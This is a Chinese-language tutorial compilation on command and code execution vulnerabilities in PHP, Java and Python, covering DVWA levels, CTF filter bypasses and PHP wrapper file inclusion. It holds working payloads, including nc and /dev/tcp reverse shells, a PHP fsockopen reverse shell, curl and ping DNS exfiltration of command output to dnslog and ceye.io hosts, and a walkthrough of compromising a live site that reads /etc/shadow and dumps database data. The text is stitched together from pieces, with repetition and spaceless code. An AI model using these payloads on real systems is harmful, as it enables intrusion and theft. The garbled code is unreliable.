当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。
系统命令执行是指应用程序对传入命令行的参数过滤不严格导致恶意用户能控制最终执行的命令。应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
代码执行漏洞指的是可以执行PHP脚本代码,而命令执行漏洞指的是可以执行系统命令或应用指令(如cmd命令或bash命令)的漏洞。代码执行漏洞是调用系统命令的漏洞,命令执行漏洞是直接调用系统命令,又称为os命令执行漏洞。
这里先给大家看一下两种漏洞的区别,命令执行长这样:
代码执行长这样:
2.执行的效果不完全受限于语言本身
命令执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令的代码中,对恶意构造的语句,可被用来执行任意命令。
用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变$PATH或程序执行环境的其他方面来执行一个恶意构造的代码
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
这里我用shell_exec这个函数来演示。
脚本语言(如PHP)优点是简洁、方便,但也伴随着一些问题,如速度慢、无法接触系统底层,如果我们开发的应用(特别是企业级的一些应用)需要一些除去WEB的特殊功能时,就需要调用一些外部程序.当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
在PHP中可以调用外部程序的常见函数:system、exec、shell_exec、passthru、popen、proc_popen。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。
一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过system函数来调用:system("/bin/program--arg$arg");
bash破壳漏洞(CVE-2014-6271),如果我们控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码。
很典型的就是WordPress中,可以选择使用ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理(默认是ImageMagick库),造成命令执行。另外JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)很常见。
典型的漏洞代码:
system($GET_[cmd]); > 如果不能直接获得命令执行结果,还可以采用其他方法如下: 可以尝试打开一条通向自己计算机的带外通道。尝试使用TFTP上传工具至服务器,使用telnet或netcat建立一个通向自己计算机的反向shell,并使用mail命令通过SMTP发送命令结果。 可以将命令结果重定向到Web根目录下的一个文件,然后使用浏览器直接获取结果。例如:dir>c:\inetpub\wwwroot\foo.txt,一旦找到注人命令的方法并能够获得命令执行结果,就应当城定自己的权限(通过使用whoami或类似命令,或者尝试向一个受保护的目录写人一个无害的文件)。然后就可以设法提升自己的权限,进而秘密访问应用程序中的敏感数据,或者通过被攻破的服务器攻击其他主机。 1.代码中存在调用执行系统命令的函数 2.函数中存在我们可控的点并将用户输入作为系统命令的参数拼接到了命令行中 3.没有对用户输入进行过滤或过滤不严 PHP提供了部分函数来执行外部应用程序,例如:system(),shell_exec(),exec()和passthru()。 命令执行:system(),shell_exec(),exec(),passthru(),在使用php.exe传递参数时,如果命令中有空格,就用“”(双引号),linux中用单引号,如:php.execmd.php"|netuser" 代码执行cmd.php中: 动态函数调用 functionA(){return...;} functionB(){return...;} $fun=$_request['fun']; echo$fun();//动态调用函数 ?> 执行shell命令也就是向dos发送一条指令。system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型为: stringsystem(stringcommand,int&return_var) 其中,command是要执行的命令,return_var存放执行命令的执行后的状态 示例代码如下: $dir=$_GET["dir"]; if(isset($dir)) { echo"";
system("netuser".$dir);
echo"";
}
执行结果为:
注:|只执行后面的命令,||前后命令都执行。
执行外部程序,exec函数可以用来执行一个外部的应用程序,函数原型为:
stringexec(stringcommand,array&output,int&return_var)
其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var是存放执行命令后的状态值。
示例代码:
$cmd=$_GET["cmd"];
$output=array();
exec($cmd,$output);
while(list($key,$value)=each($output))
echo$value."
";
执行外部程序并且显示原始输出,可以看出PHP可以执行系统命令,通过|、&、||起到命令连接的作用,通过输入时的合理构造可以使想要执行的命令和原本命令连接执行。passthru函数可以用来执行一个unix系统命令并显示原始的输出,当unix系统令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system和exec函数。原型为:
voidpassthru(stringcommand,int&teturn_var)
其中command是要执行的命令,return_var存放执行命令后的状态值。
passthru($cmd);
通过shell环境执行命令,并且将完整的输出以字符串的方式返回,函数原型为:
stringshell_exec(stringcommand)
其中command是要执行的命令。
shell_exec($cmd);
$output=`$cmd`;
echo$output;
eval()函数可以把字符串当作PHP代码来执行,也就是可以动态的执行PHP代码,使用这个函数时要保证输入的字符串必须屎合法的PHP代码,且必须以分号结尾。动态函数调用&PHP代码执行漏洞。出来可以利用函数命令注入攻击方式外还可以使用eval注入攻击方式,eval函数会将参数字符串作为php程序代码来执行,用户可以将php代码保存成字符串的形式,然后传递给eval函数执行。原型为:
mixedeval(stringcode_str)
其中code_str是php代码字符串,通过构造传入eval函数中的全部或部分字符串的内容实现命令注入攻击。
eval($cmd);
如果传入的内容为phpinfo();,若传入的是一句话木马
示例结果为:
在JavaSE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行特定的字符串命令。像JSP,Servlet,Struts,Spring,Hibernate等技术一般执行外部程序都会调用此用法。开发人员没有正确使用Runtime类,就有可能造成Java命令执行漏洞。
代码如下:
Runtimert=Runtime.getRuntime();
Processproc=rt.exec("netuser");
p=Runtime.getRuntime().exec(cmd);
//取得命令结果的输出流
InputStreamfis=p.getInputStream();
//用一个读输出流类去读
InputStreamReaderisr=newInputStreamReader(fis);
//用缓冲器读行
BufferedReaderbr=newBufferedReader(isr);
Stringline=null;
//直到读完为止
while((line=br.readLine())!=null)
System.out.println(line);
php命令执行漏洞主要是一些函数的参数过滤不严格所导致,可以执行OS命令的函数一共有7个:system(),exec(),shell_exec(),passthru(),pcntl_exec(),popen(),proc_open()另外,反单引号(`)也可以执行命令,不过要调用shell_exec()函数.
1.system(),exec(),shell_exec()和passthru()函数是可以直接传入命令并且会返回执行结果。如:payload:
2.pcntl是php的多进程处理扩展,在处理大量任务的情况下会使用,如:
voidpcntl_exec(string$path,[,array$args[,array$envs]])
3.popen()和proc_open()函数不会直接返回执行结果,而是返回一个文件指针。如:payload:
4.反单引号(`)执行命令需要调用shell_exec()函数。
如:payload:
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec()、反引号`实际上是使用shell_exec()函数;
system()输出并返回最后一行shell结果;
exec()不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。;passthru()只调用命令,把命令的运行结果原样地直接输出到标准输出设备上;
popen()、proc_open()不会直接返回执行结果,而是返回一个文件指针
#system('netuser');
#passthru('dir');
#echoexec('whoami');
#echoshell_exec('whoami');
#echo`whoami`;
stringshell_exec(string$cmd)执行命令,并将结果作为字符串返回。
返回值:如果执行失败,则返回NULL。执行成功则返回执行结果字符串。
voidpassthru(string$command[,int&$return_var])
没有返回值,函数直接将执行结果返回给浏览器。函数第二个参数就是执行状态码:返回0表示成功,返回1表示失败。
stringexec(stringcommand,string[array],int[return_var]);
command–需要执行的命令
array–是输出值填充的数组(每一行作为数组的一项)
return_var–是返回值0或1,如果返回0则执行成功,返回1则执行失败。
执行不成功时的方案:一个技巧就是使用管道命令,使用2>&1,命令就会输出shell执行时的错误到$output变量,输出该变量即可分析。
如:exec(‘converta.jpgb.jpg’,$output,$return_val);改为:exec(‘converta.jpgb.jpg2>&1′,$output,$return_val);print_r($output);
stringsystem(string$command[,int&$return_var])
return_var:命令执行状态码。返回0表示成功,返回1表示失败。
返回值:返回执行结果的最后一行,如果失败返回FALSE.
1、shell_exec()只返回,不输出。
2、passthru()只输出,不返回。有状态码
3、exec()返回最后一行结果,所有结果可以保存到一个返回的数组里面。有状态码。
4、system()输出返回最后一行结果。有状态码
$cmd=exec(‘ping‘.$target,$result,$code);$html.=‘
’.$cmd.'';if($code){$html.=’shibai';}else{$html.=’chenggong';}
Lastlineoftheoutput:‘.$last_line.‘
Returnvalue:‘.$retval;>
存在命令执行漏洞的原因是,未对输入命令进行过滤,导致可以shell命令的组合运行(即同时运行多个shell命令)。
shell命令的组合运行主要有一下几种(Linux下,windows下可能不适用):管道操作、重定向、逻辑分隔。
将一端的命令输出交给另一端的命令处理。格式:命令1|命令2
改变执行命令时的默认输入输出
类型操作符用途
重定向输入<从指定文件读取数据而不是从键盘读取
重定向输出>或>>将输出结果覆盖、追加到指定文件(>覆盖、>>追加)
重定向标准错误输出2>或2>>将错误信息覆盖或追加到指定文件
重定向混合输出&>或&>>将标准输出和错误信息覆盖或追加到指定文件
处理多条命令之间的逻辑关系
逻辑与&&两条命令都要执行
逻辑或||若第一条命令执行成功,则不执行第二条命令(即只要有一条命令成功就不再继续执行命令)
顺序执行;执行完第一条命令后执行第二条命令
一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过system函数来调用:
system(“/bin/program--arg$arg”);
系统自身的漏洞-->bash破壳漏洞(CVE-2014-6271),如果我们能够控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码
很典型的就是WordPress中,可以选择使用ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理,造成命令执行,另外JAVA中的命令执行漏洞(struts2/Elasticsearch等)以及ThinkPHP命令执行很常见。
常见的框架漏洞:
Struts是一个优秀的MVC框架,被称为Java的三大框架之一,但Sruts的第二个版本却爆发了多次致命的命令执行漏洞。
导致代码执行的原因有两个,一是preg_replace使用了e修饰符,这样$var[\'\\1\']="\\2";会被当做php代码执行。而双引号的变量会被解析,导致了代码执行。
典型代码如下:
$arg=$_GET['cmd'];
if($arg){
system("ping-c3$arg");
注:若引号被转义,则可以用\`id\`来执行 示例四: system("ls-al'$arg'"); 在cmd.php中的代码如下: eval($_REQUEST['code']); 动态函数调用在cmd.php中的代码如下: $fun=$_GET['fun']; $par=$_GET['par']; $fun($par); 最终执行的是system("netuser") 1.sysem($data): 可控点直接是待执行的程序,我们如果能直接控制它,就能执行任意命令。 2.sysem("/bin/prog$data"): 可控点是传入程序的整个参数,我们可以直接利用&&或|等等,利用管道命令来执行其它命令。如果$data被escapeshellcmd(除去字符串中的特殊符号)函数处理了,我们可以看看这个程序自身是否有“执行外部命令”的参数或功能,比如Linux下的sendmail命令自带读写文件的功能,我们可以用来写webshell。 测试直接输入;ls 3.sysem("/bin/prog-p$data"): 可控点是传入程序的某个参数值,同样可以使用前者的方法进行绕过。 4.system("/bin/prog--p=\"$arg\"");可控点是传入程序的某个参数的值(有双引号包裹)因为有引号包裹,首先要分析引号是否被转义,如果没有被转义,先闭合引号,然后利用方法同上,如果被转义,双引号内的变量依然会被解析,利用反引号执行任意命令`id` 测试可以输入';ls;' 5.system("/bin/prog--p='$arg'");可控点是传入程序的某个参数的值(有单引号包裹)单引号内只是一个字符串,所以只能闭合单引号,才可利用。 测试可以输入:可以输入";ls;" 6.sysem("/bin/prog-p\"$data\""): 可控点是传入程序的某个参数值并用双引号包裹。分两种情况绕过: ①引号未转义,我们可以先闭合引号再用管道命令进行绕过。 ②引号被使用addslashes函数转义,这种情况下我们可以在双引号内利用反引号(键盘上的波浪线按键)执行任意命令。 在Linux上,上面的;也可以用|、||代替 ;前面的执行完执行后面的 |是管道符,显示后面的执行结果 ||当前面的执行出错时执行后面的 在Windows上,不能用;可以用&、&&、|、||代替 &前面的语句为假则直接执行后面的 &&前面的语句为假则直接出错,后面的也不执行 |直接执行后面的语句 ||前面出错执行后面的 1.在URL上cmd=xxxxxx后拼接||ping-i30127.0.0.1(&)应用程序Iping-i30127.0.0.1I 可能过滤掉某些命令分隔符可以换做下面的命令: Iping-n30127.0.0.1I&ping-i30127.0.0.1&&ping-n30127.0.0.1&;ping127.0.0.1;%0aping-i30127.0.0.1%0a'ping127.0.0.1' 注意windows和linux的语法不同: windows支持:&&,&,||(哪条名令为真执行那条) linux支持:&&,&,||(执行为真)|(执行后面的语句) 3.使用发现的所有可成功实施注入的字符串,尝试注入dir、ls 4不能在浏览器直接看到回显,可将命令重定向到当前目录下的文件中并查看。或者用TFTP上传工具到服务器,用telnet和netcat建立反向shell,用mail通过SMTP发送结果给自己的计算机。 5.查看自己的权限,可以提升自己权限,访问敏感数据或控制服务器。 可以利用nc来监听4444端口,再进行管道的重定向: ;mkfifo/tmp/pipe;sh/tmp/pipe|nc-nlp4444>/tmp/pipe 在KaliLinux中直接nc连接上该服务器: PHP的配置文件php.ini里面有个disable_functions=配置这个,禁止某些php函数,便可以禁止php的命令执行漏洞,例如: disable_functions=system,passthru,shell_exec,exec,popen php能够执行系统命令的函数有: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,`(反单引号) 根据黑名单中没有的函数,即可绕过。 只适用于windows,代码如下: $command=$_POST[a]; $wsh=newCOM('WScript.shell');//生成一个COM对象 $exec=$wsh->exec('cmd.exe/c'.$command);//调用对象方法来执行命令 $stdout=$exec->StdOut(); $stroutput=$stdout->ReadAll(); echo$stroutput 如何防御:直接删除system32下的wshom.ocx文件 在PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。 $log_string=$_GET[‘log’]; 恶意用户只需要构造xxx.phplog='id'形式的URL,即可通过浏览器在远程服务器上执行任意系统命令 $target=$_REQUEST['ip']; $cmd=shell_exec('ping'.$target); echo"{$cmd}
";
提交以后,命令变成了shell_exec('ping'.|netuser)
在系统终端中,要想输入多条命令,可以在一条命令结束之后用分号(;)来隔开进而进行下一条命令的执行。另外也可以通过&&来替换分号,前提是前面的命令正确执行之后才能接着执行后面的命令。命令执行漏洞也正因此而产生。
先看low级:
按照提示输入正确IP地址时,返回正确的ping命令信息,若输入非IP地址,返回错误。
然后输入正确的IP地址并且连接命令看看(这里安全级别设置为low)
提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的,输入以下语句结果发现是存在命令执行漏洞的:
此时将分号换成&&也是可以的:
如果直接不输给pingIP地址而是直接一个分号后面接其他命令也是OK的,因为在系统终端这些命令都是能正常执行的:
但是如果在ping命令后使用&&号但没有给ping命令输入IP地址时,这时候将不会返回任何值,因为&&号后面命令是建立在前面命令已经正确执行的前提之下的,但是此时ping命令并没有正确执行了。
Low级别:输入的ip值不经任何处理,直接作为参数传入,造成的结果就是使用命令连接字符可以输入任意命令来执行
low级别的源码:
if(isset($_POST['Submit'])){
//Getinput
//DetermineOSandexecutethepingcommand.
if(stristr(php_uname('s'),'WindowsNT')){
//Windows
else{
//*nix
$cmd=shell_exec('ping-c4'.$target);
//Feedbackfortheenduser
Medium级别:
相当于加了一个黑名单,将输入ip值中的&&和;变成空,然后作为参数输入,可以有效过滤&&连接字符,但是对于黑名单之外的例如||字符没有过滤,依然可以构造命令注入。||使用就是当前边的命令执行失败后执行后边的命令。
Medium级别的源码:
//Setblacklist
$substitutions=array(
'&&'=>'',
';'=>'',
);
//Removeanyofthecharactarsinthearray(blacklist).
$target=str_replace(array_keys($substitutions),$substitutions,$target);
两个命令之间用&号表明这两条命令会同时执行,顺序先后不一定。测试结果如下:
可以看出命令显示的时候是嵌套显示的,也就是说几个命令在同时执行。另外一点注意的是,&号与&&号不同,因为是同时执行,所以并不存在前面的命令必须执行了后面的命令才能执行的问题。例子中不输入IP地址也能执行后面的命令:
管道符能正常执行,但管道符的限制是只显示后面那条命令的执行结果:
另外也有两个管道符(||)的用法,但是条件是前面的命令执行失败,和&&号的相反:
当然,因为该过滤机制只是过滤了分号或&&字符,因此也可以使用&;&的嵌套组合来进行绕过:
High级别:
对获取的ip值,先去下划线处理,然后根据’.’来分成数组,判断是否分成四份且每一份是数字的,然后还原回去,对ip值进行ping操作,否则判定输入ip值为非法ip格式。经过这样的处理,输入的只能是ip格式的参数,确保了执行输入参数的安全性。
High级别源码:
$target=trim($_REQUEST['ip']);
'&'=>'',
'|'=>'',
'-'=>'',
'$'=>'',
'('=>'',
')'=>'',
'`'=>'',
'||'=>'',
命令执行常用的函数,eval(),system(),proc_open()之类的,因此能执行php代码一般就是eval()函数
,
搜索一下这个页面有eval函数的地方
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if(strpos($strThen,$labelRule2)===false){
if(strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if($ifFlag){$content=str_replace($iar[0][$m],$strThen1,$content);}else{$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
if($ifFlag)$content=str_replace($iar[0][$m],$strThen,$content);else$content=str_replace($iar[0][$m],"",$content);}
可以在这里下个断点,把变量打印出来,就可以清晰的看到就是在这执行了我们的命令:
有如下一段关于pythonpickle反序列化操作的示例代码:
importos
importpickle
classA(object):
def__reduce__(self):
#returnos.system,('print1;',)
returnos.system,('echo1>1.txt',)
p=pickle.dumps(A())
#printp
pickle.loads(p)
如果你执行的上面那段代码的话,就会在当前目录下创建一个写着"1"的"1.txt"文件。这执行的其实是系统命令
echo1>1.txt
print1;
它是不会当作python代码被执行而输出"1"的,是被当作系统命令执行。
但是如果用来执行系统命令的php函数都加进了php.ini的disable_functions中,其实这个漏洞就不能执行系统命令了,受限于语言的安全特性本身。所以它是代码执行漏洞(不完全受限于语言本身).
这个漏洞看第一个链接就清楚了,在知道目标网站一个php文件的绝对路径的情况下,是可以执行代码并间接执行命令的.
根据fastcgi漏洞的利用工具的说明,PHP-FPM>=5.3.3才能执行系统命令。
--------------------------------PHPFastcgiRemoteCodeExecuteExploit.Date:2012-09-15Author:wofeiwo@80sec.comNote:Onlyforresearchpurpose--------------------------------Usage:fcgi_exp.exe
也许你会认为,php都受制于php的安全机制,这个也应当是代码执行漏洞。
通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置
这些年挖漏洞的白帽子们都躲不开一个词“序列化”,何为序列化?
看English好像难为小伙伴们了,这里直接给大家两个资源吧,小伙伴们去实验一遍就知道了~~
Java反序列化漏洞产生的原因在于:
java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:HTTP请求中的参数,cookies以及Parameters。RMI协议,被广泛使用的RMI协议完全基于序列化。JMX同样用于处理序列化对象。自定义协议用来接收与发送原始的java对象。在序列化过程中会使用ObjectOutputStream类的writeObject()方法,在接收数据后一般又会采用ObjectInputStream类的readObject()方法进行反序列化读取数据
合天网安实验室Java反序列化漏洞实验主页:
PHP反序列化漏洞产生的原因在于:
在php中,序列化过程中会涉及两个魔术方法,__sleep()和__wakeup(),serialize()检查类中是否有魔术名称__sleep的函数,如果有,则该函数在序列化之前运行,它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。如果该函数没有返回什么数据,则不会有什么数据被序列化,并且会发出一个E_NOTICE错误。unserialize()检查具有魔术名称__wakeup的方法的存在,如果有,一样先运行该方法。但对于传入的序列化字符串,如果有错误,在进行反序列化的时候就会不触发__wakeup()这个方法,从而绕过该方法中的限制,造成漏洞。
抛开具体涉及到语言、函数,我们用通俗易懂的话的说,序列化就是从A-》B的过程,这是不会出问题的,有可能出问题的地方出在B-》A,在这个过程中伟大的代码审计牛人们发现了漏洞,使得B+N-》C,而不是B-》A,由此引发了漏洞,这种漏洞被称作反序列化漏洞。
那么用专业些的话来说,是什么意思呢?我们需要在进行反序列化的地方传入攻击者的序列化代码,以此来利用漏洞
流行的语言如PHP、Java都存在反序列化漏洞,由这些语言开发的知名的组件ImageMagick、Weblogic、Struts2等当然不可避免地会存在反序列化漏洞,本文要展现的第一枚漏洞就是java反序列化漏洞引发的。
我们说的理论好像很高深似的,其实挖洞的时候大多数人都是直接上工具的,像用burp挖通用型漏洞,bugscan、pocsuite挖事件型漏洞都是很常见的套路。But,由于java的反序列化问题实在太严重,看不下去的师傅们就写了各种各样的工具方便管理员检测自己的漏洞(也方便了白帽子挖洞)。这里展示的几个漏洞就是用工具挖出来的。
首先我们找到网站的后台:
发现还真存在这个漏洞,上图我们执行了whoami
我们可以再看看别的命令
比如ifconfig
上面介绍了weblogic的,我们再来看一个struts2的漏洞
首先找到web页面
用工具K8测试了下发现存在漏洞
Whoami查看权限发现是root
再用netstat–an查看下端口等信息
Ifconfig看看网络设备
都任意执行命令了,不看看帐号管理两个最重要的档案?
先/passwd看看用户口令
再/shadow看看所有用户的密码
以上介绍了两个Java命令执行的漏洞,我们再来介绍个php反序列化导致命令执行的漏洞,这个漏洞存在于joomla中。这个漏洞准确的说并不是命令执行的功劳,不过它是通过php反序列化的命令执行漏洞才进行更深一步的渗透的,所以我还是在这里列了出来。
碰到一个joomla的网站
拿起脚本直接上
大体流程就是检测是否存在漏洞-》存在漏洞则exploit-》建立socket连接-》执行php“php-r\’$sock=fsockopen(“x.x.x.x”,10089);exec(“/bin/sh-i<&3>&32>&3″);\’”来反弹shell
成功反弹shell
通过ubuntu提权获得root权限
进mysql看看
注意到此处存在一个远程的sqlserver数据库的连接
使用navicat成功连上
拿到数据了
测试:0|dirc:
代码只过滤了部分特殊字符,可以考虑用其他字符进行测试
|直接执行后面的语句:ping127.0.0.1|whoami
||前面出错执行后面的,前面为假:ping2||whoami
&前面的语句为假则直接执行后面的,前面可真可假:ping127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真:
ping127.0.0.1&&whoami
;前面的执行完执行后面的:ping127.0.0.1;whoami
|管道符,显示后面的执行结果:ping127.0.0.1|whoami
11当前面的执行出错时执行后面的:ping1||whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真:ping127.0.0.1&&whoami
<符号
%09符号需要php环境,这里就不搭建啦,见谅)
$IFS$9符号和${IFS}符号
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
&符号:
管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
%00
%20#
(需要php环境,这里就不搭建啦,见谅)
a=l;b=s;$a$b
base64编码
这里第一步先用
username=0'unionselect1,md5(1)#
password=1
绕过,就可以到命令执行界面然而尝试一下发现没有回显这里有3种方法
先在vps处用nc进行监听
nc-l-p8080-vvv
然后在靶机命令执行处输入
|bash-i>&/dev/tcp/xxxxxI(你的vps的公网ip)/80800>&1
同样vps用msf监听
vps的msf监听:
useexploit/multi/handler
setpayloadlinux/armle/shell/reverse_tcp
setlport8080
setlhostxxx.xxx.xxx.xxx
setexitonsessionfalse
exploit-j
即可getflag
|curl`whoami`.xxxx.xxx(子域名)
这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件
进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。
ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n。有了这个基础,我们再来看这道题
if(strlen($_GET[1])<8){
echoshell_exec($_GET[1]);
简单的代码,可以利用
1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sha
这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来
ls-t>a
网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433
可以直接访问
或者
这题过滤了很多东西,下面说一下比较重要的
||&|;|%{}||''|.|
这里给个payload
%0acat%09
%0Acat$IFS$9
%0acat<
用%0a绕过curl然后在从我前面绕过空格的payload中随便挑一个没有过滤的
本地测试环境:php5.4.45+win
$command='dir'.$_POST['dir'];
$escaped_command=escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
escapeshellcmd()对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转义。
具体会转义哪些字符?
这些都会用^来取消其意义。也就是没办法用&|来执行其他命令,只能列目录。
有这样的一个tips:执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。
执行ls命令:
cathello文件内容:
a=c;b=at;c=he;d=llo;$a$b${c}${d}
绕过空格
${IFS}
或者在读取文件的时候利用重定向符
<>
linux:
curlxxxx.ceye.io/`whoami`
ping-c1`whoami`.xxxx.ceye.io
可以获取数据,当前权限是root
但是有一个特别恼火的事情就是特殊字符或者是空格出现的话,这时候可以通过一些编码来,比如base64
windows下很头疼,用起来并没有linux那么方便好用,比如curl、wget等等。
dns请求:
获取计算机名:for/F"delims=\"%iin('whoami')doping-n1%i.xxx.dnslog.info
获取用户名:for/F"delims=\tokens=2"%iin('whoami')doping-n1%i.xxx.dnslog.info
这样就也能获取到一个base64编码到命令结果啦~算是弥补一个小小的坑。
ps:这个是用powershell2.0写的,其他版本未测试。
但是如果没有powershell想要获取更多数据的话,还是比较麻烦的。
比如获取d:\所有文件,遇上空格也是会被截断。
如果过滤了<>,可以从已有的文件中获取自己需要的字符。
当然如果服务器能外网的话,直接wget-o/tmp就好了。
思路来自于HITCON2017中的ssrfme,考点是GET的任意命令执行。代码很简单,调用命令GET来执行从url获取的参数,然后按照filename新建文件,写入GET的结果。
$sandbox="sandbox/".md5("orange".$_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data=shell_exec("GET".escapeshellarg($_GET["url"]));
$info=pathinfo($_GET["filename"]);
$dir=str_replace(".","",basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]),$data);
highlight_file(__FILE__);
我不知道关于这个问题最早是什么时候爆出的了,但确实已经很多年了。
root@iZ285ei82c1Z:~/test#cata.pl
open(FD,"|id");
print
root@iZ285ei82c1Z:~/test#perla.pl
uid=0(root)gid=0(root)groups=0(root)
而perl里的GET函数底层就是调用了open处理
file.pm
84:opendir(D,$path)or
132:open(F,$path)orreturnnew
open函数本身还支持file协议root@iZ285ei82c1Z:~/test#cat/usr/share/perl5/LWP.pm
head2FileRequest
ThelibrarysupportsGETandHEADmethodsforfilerequests.The
"If-Modified-Since"headerissupported.Allotherheadersare
ignored.TheI
to"localhost".AnyotherI
DirectoriesarealwaysconvertedtoanHTMLdocument.Fornormal
files,the"Content-Type"and"Content-Encoding"intheresponseare
guessedbasedonthefilesuffix.
Example:
$req=HTTP::Request->new(GET=>'file:/etc/passwd');
综合看起来像是一个把文件名拼接入命令导致的命令执行。我们可以测试一下:
root@iZ285ei82c1Z:~/test#GET'file:id|'
成功执行命令了,那么思路就清楚了,我们通过传入命令文件名和命令来执行。
payload来自rr的博客:
PHP.ini:
allow_url_fopen:on默认开启该选项为on便是激活了URL形式的fopen封装协议使得可以访问URL对象文件等。
allow_url_include:off默认关闭,该选项为on便是允许包含URL对象文件等。
为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2具体为5.2,5.3,5.5,7.0;PHP版本<=5.2可以使用%00进行截断。
本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。
情况一:不需要截断:
include($_GET['file'])
情况二:需要截断:
在php版本<=5.2中进行测试是可以使用%00截断的。
include($_GET['file'].’.php’)
file://协议在双off的情况下也可以正常使用;
allow_url_fopen:off/on
allow_url_include:off/on
file://用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
使用方法:
file://[文件的绝对路径和文件名]
条件:
不需要开启allow_url_fopen,仅php://input、php://stdin、php://memory和php://temp需要开启allow_url_include。
php://访问各个输入/输出流(I/Ostreams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://filter读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
php://filter在双off的情况下也可以正常使用;
测试现象:
php://input可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。
allow_url_include:on
[POSTDATA]
也可以POST如下内容生成一句话:
(3)zip://,bzip2://,zlib://协议
zip://,bzip2://,zlib://协议在双off的情况下也可以正常使用;
zip://,bzip2://,zlib://均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
zip://archive.zip#dir/file.txt
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
compress.bzip2://file.bz2
or
compress.zlib://file.gz
(6)data://协议
经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data://协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件
data://协议必须双在on才能正常使用;
allow_url_fopen:on
也可以:
